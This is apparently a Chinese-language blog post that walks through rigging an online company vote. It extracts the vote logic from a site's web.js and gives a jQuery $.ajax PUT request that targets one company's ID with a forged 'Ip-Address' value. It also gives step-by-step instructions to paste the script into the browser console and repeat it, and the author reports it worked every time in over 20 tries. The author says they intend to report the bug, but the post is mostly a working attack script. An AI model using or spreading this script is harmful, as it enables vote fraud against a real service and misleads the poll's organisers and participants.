首先来看网页动态加载的部分:
<pre><code><script type="text/javascript" src="/goldEmployer/static/js/jquery.min.js"></script>
<script type="text/javascript" src="/goldEmployer/static/js/jquery.cookie.js"></script>
<script type="text/javascript" src="/goldEmployer/static/js/jquery.qrcode.min.js"></script>
<script type="text/javascript" src="/goldEmployer/static/js/jquery.form.js"></script>
<script type="text/javascript" src="/goldEmployer/static/js/web.js"></script>
<script src="http://res.wx.qq.com/open/js/jweixin-1.0.0.js"></script>
</pre></code>
可以看到网页加载script的顺序。接下来一个一个查看,实际上投票相关的内容在web.js中的如下区块内:
<code><pre>
$(".companysLogo_ul li p a").click(function(){
var dataId = $(this).attr("data-id");
var url = "api/companies/"+dataId+"/votes";
var my = $(this)
var ip_address = $("#ip_address").html();
var data = {
"Ip-Address":ip_address
};
$.ajax({
url: url,
type: "PUT",
contentType: "application/json",
data:JSON.stringify(data),
success: function(data) {
var num = my.siblings("span").find("i").text();
my.siblings("span").find("i").text(parseInt(num)+1);
},
error: function(xhr, error) {
// console.log(xhr);
}
});
$.cookie(dataId,1,{ expires: 30 });
$(this).hide().next("b").show();
})
</pre></code>
通过看原网页我们知道国君的dataId为568a1a82a9b58450a8b83d52,因此我们只要想办法变着IP来执行这个script就好。或者说通过“PUT”方法伪装IP发出这个requests。随便执行函数:
<code><pre>
$.ajax({
url: "api/companies/568a1a82a9b58450a8b83d52/votes",
type: "PUT",
contentType: "application/json",
data:JSON.stringify({"Ip-Address":"198.160.120.1"}),
success: function(data) {
var num = my.siblings("span").find("i").text();
my.siblings("span").find("i").text(parseInt(num)+1);
},
error: function(xhr, error) {
// console.log(xhr);
}
});
</pre></code>
报错找不到变量my,于是查找my:
<code><pre>
var my = $(this)
</pre></code>
$其实是一个函数名,就是用来获取部件里面的值
<code><pre>
$()= document.getElementById()
</pre></code>
因此my相当于获取了对象本身,这里的对象应该指的是
<code><pre>
$(".companysLogo_ul li p a")
</pre></code>
增加语句:
<code><pre>
var my = $(".companysLogo_ul li p a")
</pre></code>
没有报错,现在去网站上试试:
<code><pre>
var my = $(".companysLogo_ul li p a")
$.ajax({
url: "api/companies/568a1a82a9b58450a8b83d52/votes",
type: "PUT",
contentType: "application/json",
data:JSON.stringify({"Ip-Address":"198.160.120.4"}),
success: function(data) {
var num = my.siblings("span").find("i").text();
my.siblings("span").find("i").text(parseInt(num)+1);
},
error: function(xhr, error) {
// console.log(xhr);
}
});
</pre></code>
测试结果:不断刷新,每次等到不跳数了执行脚本,结果下次刷新的时候都会增加1票,试了不下20次每次都成功,不知道是真的每次都有人在我执行加刷新的1秒左右的时间投票还是真的有效。IP地址不用换,好像都可以继续投,有点不科学。不是网站的脚本写的傻逼了,就是我傻逼了,请各位指正!
p.s.方法:打开chrome等可以查看源代码的浏览器,打开网页,打开开发者工具,找到控制台,粘贴上面的代码,回车,刷新,粘贴,回车,刷新...话说试试就好,别太那啥,我在想办法向网站报告bug。。
再学习了一下,以下引用自w3school:
<b>ajax() 方法通过 HTTP 请求加载远程数据。
该方法是 jQuery 底层 AJAX 实现。简单易用的高层实现见 $.get, $.post 等。$.ajax() 返回其创建的 XMLHttpRequest 对象。大多数情况下你无需直接操作该函数,除非你需要操作不常用的选项,以获得更多的灵活性。</b>
我这请求已经发送ip了呀,不知道为什么远程不检查同一主机发出的ip字符是否和其ip对应。估计bug就在这个地方,后面啥啥啥的都不重要,关键是把votes的请求发出去,所以即便后面+1改成+100还是-100都没有影响,这点倒不至于那么傻逼。